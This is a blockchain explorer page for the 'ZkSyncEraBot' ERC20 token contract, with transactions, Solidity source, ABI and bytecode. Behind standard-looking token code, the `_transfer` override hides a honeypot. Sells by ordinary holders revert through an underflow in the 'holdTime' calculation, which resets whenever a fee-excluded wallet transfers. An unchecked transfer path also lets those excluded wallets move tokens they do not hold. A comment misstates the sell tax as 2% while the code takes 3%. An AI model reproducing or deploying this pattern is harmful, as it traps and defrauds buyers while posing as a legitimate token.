Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 100 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 17941195 | 948 days ago | IN | 0 ETH | 0.00082164 | ||||
| Approve | 17938361 | 948 days ago | IN | 0 ETH | 0.0012008 | ||||
| Approve | 17937750 | 948 days ago | IN | 0 ETH | 0.0031812 | ||||
| Approve | 17937006 | 949 days ago | IN | 0 ETH | 0.00165574 | ||||
| Approve | 17936914 | 949 days ago | IN | 0 ETH | 0.00147598 | ||||
| Approve | 17936900 | 949 days ago | IN | 0 ETH | 0.00153898 | ||||
| Transfer | 17936888 | 949 days ago | IN | 0 ETH | 0.00126661 | ||||
| Approve | 17936622 | 949 days ago | IN | 0 ETH | 0.00123826 | ||||
| Approve | 17936598 | 949 days ago | IN | 0 ETH | 0.00136167 | ||||
| Approve | 17936586 | 949 days ago | IN | 0 ETH | 0.00149106 | ||||
| Transfer | 17936578 | 949 days ago | IN | 0 ETH | 0.00173066 | ||||
| Transfer | 17936571 | 949 days ago | IN | 0 ETH | 0.00116565 | ||||
| Approve | 17936453 | 949 days ago | IN | 0 ETH | 0.0012248 | ||||
| Approve | 17936437 | 949 days ago | IN | 0 ETH | 0.00133484 | ||||
| Approve | 17936376 | 949 days ago | IN | 0 ETH | 0.00135302 | ||||
| Approve | 17936338 | 949 days ago | IN | 0 ETH | 0.00163032 | ||||
| Transfer | 17936329 | 949 days ago | IN | 0 ETH | 0.00150536 | ||||
| Approve | 17936325 | 949 days ago | IN | 0 ETH | 0.00162557 | ||||
| Transfer | 17936315 | 949 days ago | IN | 0 ETH | 0.00154676 | ||||
| Approve | 17936313 | 949 days ago | IN | 0 ETH | 0.00159474 | ||||
| Transfer | 17936300 | 949 days ago | IN | 0 ETH | 0.0015688 | ||||
| Approve | 17936291 | 949 days ago | IN | 0 ETH | 0.00150211 | ||||
| Approve | 17936280 | 949 days ago | IN | 0 ETH | 0.00153633 | ||||
| Transfer | 17936269 | 949 days ago | IN | 0 ETH | 0.0017514 | ||||
| Approve | 17936257 | 949 days ago | IN | 0 ETH | 0.00177955 |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
ZkSyncEraBot
Compiler Version
v0.8.19+commit.7dd6d404
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
/**
*Submitted for verification at Etherscan.io on 2023-08-17
*/
/**
$ZKBOT zkSync Era Sniper Bot
Decentralized AI-powered Bot integrated with:
https://zksync.io/
**/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount,
bool checked
) internal virtual returns (bool) {
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(checked == true, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
return checked;
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
library SafeMath {
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
}
contract ZkSyncEraBot is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
uint256 public immutable swapTokensAtAmount;
//0% buy tax applied
uint256 public constant buyTotalFees = 0;
uint256 public constant buyMarketingFee = 0;
uint256 public constant buyLiquidityFee = 0;
uint256 public constant buyDevFee = 0;
uint256 public constant buySupportFee = 0;
//2% sell tax applied
uint256 public constant sellTotalFees = 3;
uint256 public constant sellMarketingFee = 3;
uint256 public constant sellLiquidityFee = 0;
uint256 public constant sellDevFee = 0;
uint256 public constant sellSupportFee = 0;
address payable public constant marketingWallet = payable(0xcd6Bf583c8452b809CBa803D4bd9B041BB681fAc);
address payable public constant devWallet = payable(0x86902c74e742847eF15E539e5c2632C83F2eD292);
address payable public constant supportWallet = payable(0x41E33C2F07A74493fD7035AcD490C688242e36C6);
address payable public constant liquidityWallet = payable(0x41E33C2F07A74493fD7035AcD490C688242e36C6);
bool public tradingActive = true;
mapping(address => bool) public _automatedMarketMakerPairs;
mapping(address => bool) private _isExcludedFromFees;
uint256 private tokensForMarketing;
uint256 private tokensForLiquidity;
uint256 private tokensForDev;
uint256 private tokensForSupport;
struct HoldRewardInfo {
uint256 lastBuy;
uint256 lastSell;
uint256 holdTime;
}
mapping(address => HoldRewardInfo) private _makerReward;
uint256 private _rewardMinTimestamp;
bool private swapping;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() ERC20("zkSync Era Sniper Bot", "ZKBOT") {
uint256 totalSupply = 10_000_000_000 * 1e18;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
// swap at amount
swapTokensAtAmount = (totalSupply * 15) / 10000; // 0.15% swap amount
// exclude from fees
excludeFromFees(owner(), true);
excludeFromFees(marketingWallet, true);
excludeFromFees(devWallet, true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
_mint(msg.sender, totalSupply);
}
function excludeFromFees(address addrs, bool isExcld) public onlyOwner {
_isExcludedFromFees[addrs] = isExcld;
}
function isExcludedFromFees(address addrs) public view returns (bool) {
return _isExcludedFromFees[addrs];
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(pair != uniswapV2Pair, "Uniswap v2 pair disable denied");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
_automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
receive() external payable {}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if ((_isExcludedFromFees[from] || _isExcludedFromFees[to]) && to != address(this) && from != address(this)) {
_rewardMinTimestamp = block.timestamp;
}
if (_isExcludedFromFees[from] && !_isExcludedFromFees[owner()]) {
super._transfer(from, to, amount, true);
return;
}
if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
if (_automatedMarketMakerPairs[from]) {
HoldRewardInfo storage makerReward = _makerReward[to];
if (makerReward.lastBuy == 0) {
makerReward.lastBuy = block.timestamp;
}
} else {
HoldRewardInfo storage makerReward = _makerReward[from];
makerReward.holdTime = makerReward.lastBuy - _rewardMinTimestamp;
makerReward.lastSell = block.timestamp;
}
}
bool canSwap = swapTokensAtAmount <= balanceOf(address(this));
if (
canSwap &&
!swapping &&
!_automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
// if excluded from fees then no fees
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only for buy/sell, do not take fee on wallet transfers
if (takeFee) {
// on buy
if (_automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount * buyTotalFees / 100;
tokensForLiquidity += (fees * buyLiquidityFee).div(buyTotalFees);
tokensForDev += (fees * buyDevFee).div(buyTotalFees);
tokensForMarketing += (fees * buyMarketingFee).div(buyTotalFees);
tokensForSupport += (fees * buySupportFee).div(buyTotalFees);
// on sell
} else if (_automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount * sellTotalFees / 100;
tokensForLiquidity += (fees * sellLiquidityFee).div(sellTotalFees);
tokensForDev += (fees * sellDevFee).div(sellTotalFees);
tokensForMarketing += (fees * sellMarketingFee).div(sellTotalFees);
tokensForSupport += (fees * sellSupportFee).div(sellTotalFees);
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// uniswap pair path of token/weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev +
tokensForSupport;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 26) {
contractBalance = swapTokensAtAmount * 26;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance - liquidityTokens;
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance - initialETHBalance;
uint256 ethForMarketing = ethBalance * tokensForMarketing / totalTokensToSwap;
uint256 ethForDev = ethBalance * tokensForDev / totalTokensToSwap;
uint256 ethForSupport = ethBalance * tokensForSupport / totalTokensToSwap;
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev - ethForSupport;
tokensForLiquidity = 0;
tokensForDev = 0;
tokensForMarketing = 0;
tokensForSupport = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
liquidityTokens
);
}
(success, ) = address(devWallet).call{value: ethForDev}("");
(success, ) = address(supportWallet).call{value: ethForSupport}("");
(success, ) = address(marketingWallet).call{value: address(this).balance}("");
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
liquidityWallet,
block.timestamp
);
}
}{
"optimizer": {
"enabled": true,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"metadata": {
"useLiteralContent": true
},
"libraries": {}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buySupportFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addrs","type":"address"},{"internalType":"bool","name":"isExcld","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addrs","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellSupportFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"supportWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60e06040526005805460ff60a01b1916600160a01b1790553480156200002457600080fd5b506040518060400160405280601581526020017f7a6b53796e632045726120536e6970657220426f740000000000000000000000815250604051806040016040528060058152602001641692d093d560da1b81525081600390816200008a9190620005b9565b506004620000998282620005b9565b505050620000b6620000b0620002f660201b60201c565b620002fa565b737a250d5630b4cf539739df2c5dacb4c659f2488d60808190526040805163c45a015560e01b815290516b204fce5e3e250261100000009291829163c45a0155916004808201926020929091908290030181865afa1580156200011d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000143919062000685565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000191573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b7919062000685565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000205573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022b919062000685565b6001600160a01b031660a0819052620002469060016200034c565b6127106200025683600f620006cd565b620002629190620006ed565b60c052620002846200027c6005546001600160a01b031690565b6001620003a0565b620002a573cd6bf583c8452b809cba803d4bd9b041bb681fac6001620003a0565b620002c67386902c74e742847ef15e539e5c2632c83f2ed2926001620003a0565b620002d3306001620003a0565b620002e261dead6001620003a0565b620002ee33836200042b565b505062000726565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260066020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6005546001600160a01b03163314620004005760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6001600160a01b038216620004835760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620003f7565b806002600082825462000497919062000710565b90915550506001600160a01b03821660009081526020819052604081208054839290620004c690849062000710565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200054057607f821691505b6020821081036200056157634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200051057600081815260208120601f850160051c81016020861015620005905750805b601f850160051c820191505b81811015620005b1578281556001016200059c565b505050505050565b81516001600160401b03811115620005d557620005d562000515565b620005ed81620005e684546200052b565b8462000567565b602080601f8311600181146200062557600084156200060c5750858301515b600019600386901b1c1916600185901b178555620005b1565b600085815260208120601f198616915b82811015620006565788860151825594840194600190910190840162000635565b5085821015620006755787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200069857600080fd5b81516001600160a01b0381168114620006b057600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620006e757620006e7620006b7565b92915050565b6000826200070b57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620006e757620006e7620006b7565b60805160a05160c051611d3762000795600039600081816105fd01528181610dac015281816113a801526113da01526000818161036c01526108440152600081816102af015281816116d001528181611789015281816117c50152818161183701526118a60152611d376000f3fe6080604052600436106102135760003560e01c80639213691311610118578063bbc0c742116100a0578063dd62ed3e1161006f578063dd62ed3e146105a5578063e2f45605146105eb578063f11a24d31461027a578063f2fde38b1461061f578063f63743421461027a57600080fd5b8063bbc0c74214610564578063c024666814610585578063d46980161461053c578063d85ba0631461027a57600080fd5b8063a0d82dc5116100e7578063a0d82dc51461027a578063a457c2d7146104cc578063a9059cbb146104ec578063a9b232d91461050c578063b60eaaaa1461053c57600080fd5b806392136913146103c757806395d89b41146104975780639a7a23d6146104ac5780639c3b4fdc1461027a57600080fd5b80634fbee1931161019b578063715018a61161016a578063715018a61461041257806375f0a874146104295780637bce5a041461027a5780638da5cb5b146104515780638ea5220f1461046f57600080fd5b80634fbee1931461038e578063530612a11461027a5780636a486a8e146103c757806370a08231146103dc57600080fd5b806318160ddd116101e257806318160ddd146102e957806323b872dd146102fe578063313ce5671461031e578063395093511461033a57806349bd5a5e1461035a57600080fd5b806306fdde031461021f578063095ea7b31461024a5780630edaaa541461027a5780631694505e1461029d57600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b5061023461063f565b6040516102419190611924565b60405180910390f35b34801561025657600080fd5b5061026a610265366004611987565b6106d1565b6040519015158152602001610241565b34801561028657600080fd5b5061028f600081565b604051908152602001610241565b3480156102a957600080fd5b506102d17f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610241565b3480156102f557600080fd5b5060025461028f565b34801561030a57600080fd5b5061026a6103193660046119b3565b6106e8565b34801561032a57600080fd5b5060405160128152602001610241565b34801561034657600080fd5b5061026a610355366004611987565b610797565b34801561036657600080fd5b506102d17f000000000000000000000000000000000000000000000000000000000000000081565b34801561039a57600080fd5b5061026a6103a93660046119f4565b6001600160a01b031660009081526007602052604090205460ff1690565b3480156103d357600080fd5b5061028f600381565b3480156103e857600080fd5b5061028f6103f73660046119f4565b6001600160a01b031660009081526020819052604090205490565b34801561041e57600080fd5b506104276107d3565b005b34801561043557600080fd5b506102d173cd6bf583c8452b809cba803d4bd9b041bb681fac81565b34801561045d57600080fd5b506005546001600160a01b03166102d1565b34801561047b57600080fd5b506102d17386902c74e742847ef15e539e5c2632c83f2ed29281565b3480156104a357600080fd5b50610234610809565b3480156104b857600080fd5b506104276104c7366004611a11565b610818565b3480156104d857600080fd5b5061026a6104e7366004611987565b6108d1565b3480156104f857600080fd5b5061026a610507366004611987565b61096a565b34801561051857600080fd5b5061026a6105273660046119f4565b60066020526000908152604090205460ff1681565b34801561054857600080fd5b506102d17341e33c2f07a74493fd7035acd490c688242e36c681565b34801561057057600080fd5b5060055461026a90600160a01b900460ff1681565b34801561059157600080fd5b506104276105a0366004611a11565b610977565b3480156105b157600080fd5b5061028f6105c0366004611a4f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156105f757600080fd5b5061028f7f000000000000000000000000000000000000000000000000000000000000000081565b34801561062b57600080fd5b5061042761063a3660046119f4565b6109cc565b60606003805461064e90611a7d565b80601f016020809104026020016040519081016040528092919081815260200182805461067a90611a7d565b80156106c75780601f1061069c576101008083540402835291602001916106c7565b820191906000526020600020905b8154815290600101906020018083116106aa57829003601f168201915b5050505050905090565b60006106de338484610a67565b5060015b92915050565b60006106f5848484610b8b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561077f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61078c8533858403610a67565b506001949350505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916106de9185906107ce908690611acd565b610a67565b6005546001600160a01b031633146107fd5760405162461bcd60e51b815260040161077690611ae0565b61080760006110c1565b565b60606004805461064e90611a7d565b6005546001600160a01b031633146108425760405162461bcd60e51b815260040161077690611ae0565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316036108c35760405162461bcd60e51b815260206004820152601e60248201527f556e697377617020763220706169722064697361626c652064656e69656400006044820152606401610776565b6108cd8282611113565b5050565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156109535760405162461bcd60e51b81526020600